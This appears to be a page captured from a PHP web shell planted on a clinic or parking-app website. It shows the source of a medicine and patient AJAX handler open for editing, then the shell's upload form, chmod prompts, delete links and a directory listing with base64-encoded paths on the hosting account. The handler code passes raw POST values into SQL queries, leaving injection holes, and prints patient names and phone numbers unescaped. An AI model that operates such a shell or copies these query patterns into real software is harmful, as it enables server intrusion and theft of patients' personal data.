              &lt;button class=&quot;btn btn-dark float-right submitBtn&quot; data-target=&quot;diagnosis_show&quot; onclick=&quot;submitDiagnosisForm(event)&quot;&gt;Submit&lt;/button&gt;
           &lt;/div&gt;

            &lt;?php
        }
    }

    if ($status == 'get-medicine') {
    if (isset($_POST['patientId'])) {
        $patientId = $_POST['patientId'];

        $medicineQuery = &quot;SELECT * FROM patient_medicine_data WHERE patientId = '$patientId'&quot;;
        $medicineResult = mysqli_query($con, $medicineQuery);
        ?&gt;

        &lt;div class=&quot;row align-items-center&quot;&gt;
            &lt;div class=&quot;col-md-12 d-flex align-items-center&quot;&gt;
                &lt;div class=&quot;form-check&quot;&gt;
                    &lt;input class=&quot;form-check-input&quot; type=&quot;radio&quot; name=&quot;searchOption&quot; id=&quot;searchByCode&quot; onchange=&quot;test1()&quot; value=&quot;code&quot; checked&gt;
                    &lt;label class=&quot;form-check-label&quot; for=&quot;searchByCode&quot;&gt;Code&lt;/label&gt;
                &lt;/div&gt;
                &lt;div class=&quot;form-check ml-3&quot;&gt;
                    &lt;input class=&quot;form-check-input&quot; type=&quot;radio&quot; name=&quot;searchOption&quot; id=&quot;searchByName&quot; onchange=&quot;test2()&quot; value=&quot;name&quot;&gt;
                    &lt;label class=&quot;form-check-label&quot; for=&quot;searchByName&quot;&gt;Name&lt;/label&gt;
                &lt;/div&gt;

                &lt;div class=&quot;col-md-5 ml-3&quot; id=&quot;groupCodeDiv&quot;&gt;
                    &lt;select class=&quot;form-control&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;GroupCode&quot; name=&quot;GroupCode&quot;&gt;
                        &lt;option value=&quot;&quot;&gt;--Search By Group Code--&lt;/option&gt;
                        &lt;?php 
                        $query1 = mysqli_query($con, &quot;SELECT GroupCode FROM `tbl_medicine_group` WHERE `deleteStatus` = '0'&quot;);
                        while ($row1 = mysqli_fetch_array($query1)) {
                        ?&gt;
                        &lt;option value=&quot;&lt;?php echo $row1['GroupCode']; ?&gt;&quot;&gt;
                            &lt;?php echo $row1['GroupCode']; ?&gt;
                        &lt;/option&gt;
                        &lt;?php } ?&gt;
                    &lt;/select&gt;
                &lt;/div&gt;

                &lt;div class=&quot;col-md-5 ml-3&quot; id=&quot;groupNameDiv&quot; style=&quot;display: none;&quot;&gt;
                    &lt;select class=&quot;form-control&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;GroupName&quot; name=&quot;GroupName&quot;&gt;
                        &lt;option value=&quot;&quot;&gt;--Search By Group Name --&lt;/option&gt;
                        &lt;?php 
                        $query1 = mysqli_query($con, &quot;SELECT GroupName FROM `tbl_medicine_group` WHERE `deleteStatus` = '0'&quot;);
                        while ($row1 = mysqli_fetch_array($query1)) {
                        ?&gt;
                        &lt;option value=&quot;&lt;?php echo $row1['GroupName']; ?&gt;&quot;&gt;
                            &lt;?php echo $row1['GroupName']; ?&gt;
                        &lt;/option&gt;
                        &lt;?php } ?&gt;
                    &lt;/select&gt;
                &lt;/div&gt;

                &lt;div class=&quot;col-md-2 ml-3&quot;&gt;
                    &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; onclick=&quot;search()&quot;&gt;Submit&lt;/button&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;row&quot;&gt;
            &lt;div class=&quot;col-md-12 mt-3&quot;&gt;
                &lt;div class=&quot;table-responsive&quot;&gt;
                    &lt;table class=&quot;table&quot;&gt;
                        &lt;thead&gt;
                            &lt;tr&gt;
                                &lt;th style=&quot;width: 15%;&quot;&gt;Medicine&lt;/th&gt;
                                &lt;th style=&quot;width: 15%;&quot;&gt;Time&lt;/th&gt;
                                &lt;th style=&quot;width: 20%;&quot;&gt;Duration&lt;/th&gt;
                                &lt;th style=&quot;width: 20%;&quot;&gt;Qty&lt;/th&gt;
                                &lt;th style=&quot;width: 20%;&quot;&gt;Mode&lt;/th&gt;
                                &lt;th style=&quot;width: 10%;&quot;&gt;Action&lt;/th&gt;
                            &lt;/tr&gt;
                        &lt;/thead&gt;
                        &lt;tbody id=&quot;medicine-table-body&quot;&gt;
                            &lt;?php
                            if ($medicineResult &amp;&amp; mysqli_num_rows($medicineResult) &gt; 0) {
                                while ($row = mysqli_fetch_assoc($medicineResult)) {
                                    ?&gt;
                                    &lt;tr class=&quot;medicineFetch&quot;&gt;
                                        &lt;td&gt;
                                            &lt;select class=&quot;form-control medicineId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;medicineId&quot; name=&quot;medicineId[]&quot;&gt;
                                                &lt;option value=&quot;&lt;?php echo htmlspecialchars($row['medicineId']); ?&gt;&quot;&gt;
                                                    &lt;?php echo htmlspecialchars($row['medicineId']); ?&gt;
                                                &lt;/option&gt;
                                                &lt;?php
                                                $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_medicine` WHERE `medicineId` != '&quot; . $row['medicineId'] . &quot;' AND `deleteStatus` = '0'&quot;);
                                                while ($row1 = mysqli_fetch_array($query1)) {
                                                    echo '&lt;option value=&quot;' . htmlspecialchars($row1['medicineName']) . '&quot;&gt;' . htmlspecialchars($row1['medicineName']) . '&lt;/option&gt;';
                                                }
                                                ?&gt;
                                            &lt;/select&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;select class=&quot;form-control dosageId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;dosageId&quot; name=&quot;dosageId[]&quot;&gt;
                                                &lt;option value=&quot;&lt;?php echo htmlspecialchars($row['dosageId']); ?&gt;&quot;&gt;
                                                    &lt;?php echo htmlspecialchars($row['dosageId']); ?&gt;
                                                &lt;/option&gt;
                                                &lt;?php
                                                $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_dosage` WHERE `dosageId` != '&quot; . $row['dosageId'] . &quot;' AND `deleteStatus` = '0'&quot;);
                                                while ($row1 = mysqli_fetch_array($query1)) {
                                                    echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                                }
                                                ?&gt;
                                            &lt;/select&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;input type=&quot;text&quot; class=&quot;form-control medicineDays&quot; value=&quot;&lt;?php echo htmlspecialchars($row['medicineDays']); ?&gt;&quot; placeholder=&quot;days&quot; id=&quot;medicineDays&quot; name=&quot;medicineDays[]&quot;&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;input type=&quot;text&quot; class=&quot;form-control medicineQty&quot; value=&quot;&lt;?php echo htmlspecialchars($row['medicineQty']); ?&gt;&quot; placeholder=&quot;quantity&quot; id=&quot;medicineQty&quot; name=&quot;medicineQty[]&quot;&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;select class=&quot;form-control medicineEye&quot; id=&quot;medicineEye&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; name=&quot;medicineEye[]&quot;&gt;
                                                &lt;option value=&quot;&lt;?php echo htmlspecialchars($row['medicineEye']); ?&gt;&quot;&gt;
                                                    &lt;?php echo htmlspecialchars($row['medicineEye']); ?&gt;
                                                &lt;/option&gt;
                                                &lt;option value=&quot;Right&quot;&gt;Right&lt;/option&gt;
                                                &lt;option value=&quot;Left&quot;&gt;Left&lt;/option&gt;
                                                &lt;option value=&quot;Both&quot;&gt;Both&lt;/option&gt;
                                                &lt;option value=&quot;Oral&quot;&gt;Oral&lt;/option&gt;
                                            &lt;/select&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;button type=&quot;button&quot; class=&quot;btn btn-success&quot; onclick=&quot;Medicine_addData()&quot;&gt;&lt;i class=&quot;fa fa-plus&quot;&gt;&lt;/i&gt;&lt;/button&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                    &lt;?php
                                }
                            } else {
                                ?&gt;
                                &lt;tr&gt;
                                    &lt;td&gt;
                                        &lt;select class=&quot;form-control medicineId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;medicineId&quot; name=&quot;medicineId[]&quot;&gt;
                                            &lt;?php
                                            $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_medicine` WHERE `deleteStatus` = '0'&quot;);
                                            while ($row1 = mysqli_fetch_array($query1)) {
                                                echo '&lt;option value=&quot;' . htmlspecialchars($row1['medicineName']) . '&quot;&gt;' . htmlspecialchars($row1['medicineName']) . '&lt;/option&gt;';
                                            }
                                            ?&gt;
                                        &lt;/select&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;select class=&quot;form-control dosageId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;dosageId&quot; name=&quot;dosageId[]&quot;&gt;
                                            &lt;?php
                                            $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_dosage` WHERE `deleteStatus` = '0'&quot;);
                                            while ($row1 = mysqli_fetch_array($query1)) {
                                                echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                            }
                                            ?&gt;
                                        &lt;/select&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;input type=&quot;text&quot; class=&quot;form-control medicineDays&quot; placeholder=&quot;days&quot; id=&quot;medicineDays&quot; name=&quot;medicineDays[]&quot;&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;input type=&quot;text&quot; class=&quot;form-control medicineQty&quot; placeholder=&quot;quantity&quot; id=&quot;medicineQty&quot; name=&quot;medicineQty[]&quot;&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;select class=&quot;form-control medicineEye&quot; id=&quot;medicineEye&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; name=&quot;medicineEye[]&quot;&gt;
                                            &lt;option value=&quot;Right&quot;&gt;Right&lt;/option&gt;
                                            &lt;option value=&quot;Left&quot;&gt;Left&lt;/option&gt;
                                            &lt;option value=&quot;Both&quot;&gt;Both&lt;/option&gt;
                                            &lt;option value=&quot;Oral&quot;&gt;Oral&lt;/option&gt;
                                        &lt;/select&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;button type=&quot;button&quot; class=&quot;btn btn-success&quot; onclick=&quot;Medicine_addData()&quot;&gt;&lt;i class=&quot;fa fa-plus&quot;&gt;&lt;/i&gt;&lt;/button&gt;
                                    &lt;/td&gt;
                                &lt;/tr&gt;
                                &lt;?php
                            }
                            ?&gt;
                        &lt;/tbody&gt;
                    &lt;/table&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;form-group col-12 col-sm-12 col-md-12 col-lg-12 mb-5&quot;&gt;
            &lt;button class=&quot;btn btn-dark float-right submitBtn&quot; data-target=&quot;tear_show&quot; onclick=&quot;submitMedicineForm(event)&quot;&gt;Submit&lt;/button&gt;
        &lt;/div&gt;

        &lt;?php
    }
}


    if ((isset($_POST['GroupCode']) || isset($_POST['GroupName'])) &amp;&amp; $status == 'get-medicineGroup') {
        $groupCode = $_POST['GroupCode'];
        $groupName = $_POST['GroupName'];

        // $query = mysqli_query($con, &quot;SELECT * FROM tbl_medicine_group WHERE GroupCode = '$groupCode' AND deleteStatus = '0'&quot;);
        $query = mysqli_query($con, &quot;SELECT * FROM tbl_medicine_group WHERE (GroupCode = '$groupCode' OR GroupName = '$groupName') AND deleteStatus = '0'&quot;);
        
        $data = array();

        while ($row = mysqli_fetch_array($query)) {
            $medicineIds = explode(',', $row['medicineId']);
            $dosageIds = explode(',', $row['dosageId']);
            $medicineDays = explode(',', $row['medicineDays']);
            $medicineQtys = explode(',', $row['medicineQty']);

            foreach ($medicineIds as $index =&gt; $medicineId) {
                $dosageId = isset($dosageIds[$index]) ? $dosageIds[$index] : '';
                $medicineDay = isset($medicineDays[$index]) ? $medicineDays[$index] : '';
                $medicineQty = isset($medicineQtys[$index]) ? $medicineQtys[$index] : '';

                // Get medicine name
                $medicineQuery = mysqli_query($con, &quot;SELECT medicineName FROM tbl_medicine WHERE medicineId = '$medicineId'&quot;);
                $medicineRow = mysqli_fetch_array($medicineQuery);

                // Get dosage name
                $dosageQuery = mysqli_query($con, &quot;SELECT name FROM tbl_dosage WHERE dosageId = '$dosageId'&quot;);
                $dosageRow = mysqli_fetch_array($dosageQuery);

                // Append data for each row
                $data[] = array(
                    'medicineId' =&gt; $medicineId,
                    'medicineName' =&gt; $medicineRow['medicineName'],
                    'dosageId' =&gt; $dosageId,
                    'dosageName' =&gt; $dosageRow['name'],
                    'medicineDays' =&gt; $medicineDay,
                    'medicineQty' =&gt; $medicineQty
                );
            }
        }

        echo json_encode($data);
    }

    if (isset($_POST['status']) &amp;&amp; $_POST['status'] == 'get-medicineData') {
        if (isset($_POST['medicineId'])) {
            $medicineId = $_POST['medicineId'];

            $query = &quot;SELECT d.dosageId, d.name AS dosageName, mi.miId, mi.name AS instructionName
                      FROM tbl_medicine m
                      JOIN tbl_dosage d ON m.dosageId = d.dosageId
                      JOIN tbl_medicine_instruction mi ON m.miId = mi.miId
                      WHERE m.medicineId = '$medicineId'&quot;;
            $result = mysqli_query($con, $query);
            $row = mysqli_fetch_array($result);

            $dosageQuery = &quot;SELECT * FROM tbl_dosage WHERE deleteStatus = 0&quot;;
            $dosageResult = mysqli_query($con, $dosageQuery);
            $dosages = [];
            while ($dosageRow = mysqli_fetch_array($dosageResult)) {
                $dosages[] = array(
                    'dosageId' =&gt; $dosageRow['dosageId'],
                    'dosageName' =&gt; $dosageRow['name']
                );
            }

            $instructionQuery = &quot;SELECT * FROM tbl_medicine_instruction WHERE deleteStatus = 0&quot;;
            $instructionResult = mysqli_query($con, $instructionQuery);
            $instructions = [];
            while ($instructionRow = mysqli_fetch_array($instructionResult)) {
                $instructions[] = array(
                    'miId' =&gt; $instructionRow['miId'],
                    'instructionName' =&gt; $instructionRow['name']
                );
            }

            $response = array(
                'selectedDosageId' =&gt; $row['dosageId'],
                'selectedDosageName' =&gt; $row['dosageName'],
                'selectedMiId' =&gt; $row['miId'],
                'selectedInstructionName' =&gt; $row['instructionName'],
                'allDosages' =&gt; $dosages,
                'allInstructions' =&gt; $instructions
            );

            echo json_encode($response);
        }
    }


    if($status == 'get-patient'){

    $doctorId = $_POST['doctorId'];
   
    $query = &quot;SELECT tbl_patient.*, tbl_reception.receptionName FROM tbl_patient JOIN
                tbl_reception ON tbl_patient.receptionId = tbl_reception.receptionId
                WHERE tbl_patient.doctorId = '$doctorId' 
                AND tbl_patient.deleteStatus = '0' 
                AND DATE(tbl_patient.appointmentDate) = CURDATE()&quot;;

    $result = mysqli_query($con, $query);
            $i = 0;
        if(mysqli_num_rows($result) &gt; 0) {
            echo &quot;&lt;table class='table table-bordered'&gt;&quot;;
            echo &quot;&lt;thead&gt;&quot;;
            echo &quot;&lt;tr&gt;&lt;th&gt;Index&lt;/th&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Contact&lt;/th&gt;&lt;th&gt;Receptionist&lt;/th&gt;&lt;/tr&gt;&quot;;
            echo &quot;&lt;/thead&gt;&quot;;
            echo &quot;&lt;tbody&gt;&quot;;

            foreach($result as $row){
                $i++;
                echo &quot;&lt;tr&gt;&quot;;
                echo &quot;&lt;td&gt;&quot; . $i . &quot;&lt;/td&gt;&quot;;
                echo &quot;&lt;td&gt;&quot; . $row['firstName'] . &quot; &quot; . $row['middleName'] . &quot; &quot; . $row['lastName'] . &quot;&lt;/td&gt;&quot;;
                echo &quot;&lt;td&gt;&quot; . $row['contactNo'] . &quot;&lt;/td&gt;&quot;;
                echo &quot;&lt;td&gt;&quot; . $row['receptionName'] . &quot;&lt;/td&gt;&quot;;
                echo &quot;&lt;/tr&gt;&quot;;
            }

            echo &quot;&lt;/tbody&gt;&quot;;
            echo &quot;&lt;/table&gt;&quot;;
        } else {
            echo '0';
        }
    }

    if($status == 'get-district'){
        if (isset($_POST['stateId'])) {
            $stateId = $_POST['stateId'];
            $query = mysqli_query($con, &quot;SELECT * FROM tbl_district WHERE stateId = '$stateId' AND deleteStatus = '0'&quot;);
            echo '&lt;option value=&quot;&quot;&gt;--Select--&lt;/option&gt;';
            while ($row = mysqli_fetch_array($query)) {
                echo '&lt;option value=&quot;'.$row['districtId'].'&quot;&gt;'.$row['districtName'].'&lt;/option&gt;';
            }
        }
    }

    if($status == 'get-city'){
        if (isset($_POST['districtId'])) {
            $districtId = $_POST['districtId'];
            $query = mysqli_query($con, &quot;SELECT tbl_city.*,tbl_district.districtName 
                                        FROM tbl_city JOIN tbl_district ON tbl_city.districtId = tbl_district.districtId
                                        WHERE tbl_city.districtId = '$districtId' AND tbl_city.deleteStatus = '0'&quot;);
            echo '&lt;option value=&quot;&quot;&gt;--Select--&lt;/option&gt;';
            while ($row = mysqli_fetch_array($query)) {
                echo '&lt;option value=&quot;'.$row['cityId'].'&quot;&gt;'.$row['cityName'].' - '.$row['districtName'].'&lt;/option&gt;';
            }
        }
    }

    if (isset($_POST['status']) &amp;&amp; $_POST['status'] == 'getCityData') {
        if (isset($_POST['city'])) {
            $id = $_POST['city'];
            $query = mysqli_query($con, &quot;SELECT * FROM tbl_location WHERE id = '$id' AND deleteStatus = '0'&quot;);
            if ($row = mysqli_fetch_array($query)) {
                // Return district and state in JSON format
                echo json_encode(['district' =&gt; $row['district'], 'state' =&gt; $row['state']]);
            } else {
                echo json_encode(['district' =&gt; '', 'state' =&gt; '']);
            }
        }
    }

?&gt;</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL2NyZWF0aXZlZ2FyZGVuZGVzaWduLmluL3B1YmxpY19odG1s">/home/u856302147/domains/creativegardendesign.in/public_html</a><hr>curdir: /home/u856302147/domains/vparking.live/public_html/doctor/Config<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZw=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZw==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9y"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZw==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZw==&x=YWpheC1hZGQucGhwLWJrcA==">X</a></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZw==&f=YWpheC1hZGQucGhwLWJrcA=="/>ajax-add.php-bkp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZw==&f=YWpheC1hZGQucGhwLWJrcA==&c=`+btoa(c):0" value="0644"></td><td>51355</td></tr><tr><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZw==&x=YWpheC1nZXQucGhwLWJrcA==">X</a></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZw==&f=YWpheC1nZXQucGhwLWJrcA=="/>ajax-get.php-bkp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZw==&f=YWpheC1nZXQucGhwLWJrcA==&c=`+btoa(c):0" value="0666"></td><td>254704</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZy91cGxvYWQ="/>upload</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZw==&f=dXBsb2Fk&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>